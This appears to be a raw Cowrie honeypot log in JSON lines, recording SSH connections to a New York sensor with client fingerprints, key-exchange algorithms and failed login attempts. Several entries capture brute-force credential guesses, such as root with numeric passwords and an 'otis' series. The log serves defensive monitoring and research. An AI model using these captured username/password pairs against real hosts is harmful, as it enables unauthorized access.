{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:a9:f0:4f:e9:08:86:86:2d:02:61:84:ec:a1:ef:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0Ml7UrVvoa58Zdlx0fQ69bHjTxXWL2d6cYFgGLv6CI8DX0fBBLbihg6zsqQFGs5mg9gqz8JFH1lmnGBlbfFWLbHp8R489Rl0jMSoVQKeT2PSyKqpZXBTI47r32KVxJvFkL8IweoQDVHmYjk+gY1FADM+1FNZWMVkNAH4+FI0H1vTnFdB5N54q57+c4k5lzrLo56esD20MoOSSul6xXe4JUt0p4CeOeqK5DIyLPbtgEwpR8J48xta0ioOkQ9NDd2JI4o76MMyALbrLc+JA2ojN2fNzceJQyXbG/YboBF+kxIHFf/X/5UO8a2ZiUiZkOozXHoymro6VAOkl83nkiTCr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:a9:f0:4f:e9:08:86:86:2d:02:61:84:ec:a1:ef:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:31.997500Z","src_ip":"78.111.67.61","session":"9b4a0e1837a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:a9:f0:4f:e9:08:86:86:2d:02:61:84:ec:a1:ef:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0Ml7UrVvoa58Zdlx0fQ69bHjTxXWL2d6cYFgGLv6CI8DX0fBBLbihg6zsqQFGs5mg9gqz8JFH1lmnGBlbfFWLbHp8R489Rl0jMSoVQKeT2PSyKqpZXBTI47r32KVxJvFkL8IweoQDVHmYjk+gY1FADM+1FNZWMVkNAH4+FI0H1vTnFdB5N54q57+c4k5lzrLo56esD20MoOSSul6xXe4JUt0p4CeOeqK5DIyLPbtgEwpR8J48xta0ioOkQ9NDd2JI4o76MMyALbrLc+JA2ojN2fNzceJQyXbG/YboBF+kxIHFf/X/5UO8a2ZiUiZkOozXHoymro6VAOkl83nkiTCr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:32.002069Z","src_ip":"78.111.67.61","session":"9b4a0e1837a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:32.094216Z","src_ip":"78.111.67.61","session":"9b4a0e1837a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:32.478774Z","src_ip":"85.11.167.46","session":"16f2a2a6422e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":52040,"dst_ip":"159.203.135.109","dst_port":22,"session":"3581240b9473","protocol":"ssh","message":"New connection: 103.172.78.219:52040 (159.203.135.109:22) [session: 3581240b9473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:40.293816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:40.299083Z","src_ip":"103.172.78.219","session":"3581240b9473","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:40.555022Z","src_ip":"103.172.78.219","session":"3581240b9473","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22121992","message":"login attempt [root/22121992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:41.319662Z","src_ip":"103.172.78.219","session":"3581240b9473","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:11:42.578056Z","src_ip":"103.172.78.219","session":"3581240b9473","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":52620,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ba9a8d2f1d8","protocol":"ssh","message":"New connection: 185.236.22.41:52620 (159.203.135.109:22) [session: 4ba9a8d2f1d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:12:02.955727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:12:02.979266Z","src_ip":"185.236.22.41","session":"4ba9a8d2f1d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:12:03.138400Z","src_ip":"185.236.22.41","session":"4ba9a8d2f1d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100888","message":"login attempt [root/100888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:12:03.476282Z","src_ip":"185.236.22.41","session":"4ba9a8d2f1d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:12:04.585924Z","src_ip":"185.236.22.41","session":"4ba9a8d2f1d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":48518,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec233cfad013","protocol":"ssh","message":"New connection: 109.172.54.111:48518 (159.203.135.109:22) [session: ec233cfad013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:12:26.294486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:12:26.299910Z","src_ip":"109.172.54.111","session":"ec233cfad013","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:12:26.396058Z","src_ip":"109.172.54.111","session":"ec233cfad013","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"220690","message":"login attempt [root/220690] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:12:26.684476Z","src_ip":"109.172.54.111","session":"ec233cfad013","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:12:27.788132Z","src_ip":"109.172.54.111","session":"ec233cfad013","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":46006,"dst_ip":"159.203.135.109","dst_port":22,"session":"25b48b65bae1","protocol":"ssh","message":"New connection: 147.45.197.250:46006 (159.203.135.109:22) [session: 25b48b65bae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:12:57.171719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:12:57.180648Z","src_ip":"147.45.197.250","session":"25b48b65bae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:12:57.271030Z","src_ip":"147.45.197.250","session":"25b48b65bae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gfhfpbn","message":"login attempt [root/gfhfpbn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:12:57.547253Z","src_ip":"147.45.197.250","session":"25b48b65bae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:12:58.640273Z","src_ip":"147.45.197.250","session":"25b48b65bae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":55550,"dst_ip":"10.17.0.5","dst_port":22,"session":"4294dd4ddc1e","protocol":"ssh","message":"New connection: 194.59.206.2:55550 (10.17.0.5:22) [session: 4294dd4ddc1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:13:24.717413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:13:24.723284Z","src_ip":"194.59.206.2","session":"4294dd4ddc1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":13930,"dst_ip":"10.17.0.5","dst_port":22,"session":"06049a6a3332","protocol":"ssh","message":"New connection: 213.209.159.56:13930 (10.17.0.5:22) [session: 06049a6a3332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:13:24.776321Z"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:13:24.814919Z","src_ip":"194.59.206.2","session":"4294dd4ddc1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:13:24.911052Z","src_ip":"194.59.206.2","session":"4294dd4ddc1e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:13:29.861648Z","src_ip":"213.209.159.56","session":"06049a6a3332","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:13:29.940074Z","src_ip":"213.209.159.56","session":"06049a6a3332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"otis","password":"otis","message":"login attempt [otis/otis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:13:30.346409Z","src_ip":"213.209.159.56","session":"06049a6a3332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"otis","password":"otis1","message":"login attempt [otis/otis1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:13:31.441210Z","src_ip":"213.209.159.56","session":"06049a6a3332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"otis","password":"otis123","message":"login attempt [otis/otis123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:13:32.527621Z","src_ip":"213.209.159.56","session":"06049a6a3332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"otis","password":"otis1234","message":"login attempt [otis/otis1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:13:33.612606Z","src_ip":"213.209.159.56","session":"06049a6a3332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"otis","password":"otis12345","message":"login attempt [otis/otis12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:13:34.698524Z","src_ip":"213.209.159.56","session":"06049a6a3332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.0","message":"Connection lost after 11.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:13:35.783652Z","src_ip":"213.209.159.56","session":"06049a6a3332","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":33860,"dst_ip":"159.203.135.109","dst_port":22,"session":"210b7e8e284b","protocol":"ssh","message":"New connection: 94.159.98.239:33860 (159.203.135.109:22) [session: 210b7e8e284b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:13:43.111302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:13:43.166426Z","src_ip":"94.159.98.239","session":"210b7e8e284b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:13:43.263172Z","src_ip":"94.159.98.239","session":"210b7e8e284b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fantik","message":"login attempt [root/fantik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:13:43.923696Z","src_ip":"94.159.98.239","session":"210b7e8e284b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:13:45.068261Z","src_ip":"94.159.98.239","session":"210b7e8e284b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":39784,"dst_ip":"10.17.0.5","dst_port":22,"session":"94509e31be5f","protocol":"ssh","message":"New connection: 103.122.221.179:39784 (10.17.0.5:22) [session: 94509e31be5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:15:43.261478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:15:43.266543Z","src_ip":"103.122.221.179","session":"94509e31be5f","protocol":"ssh"}
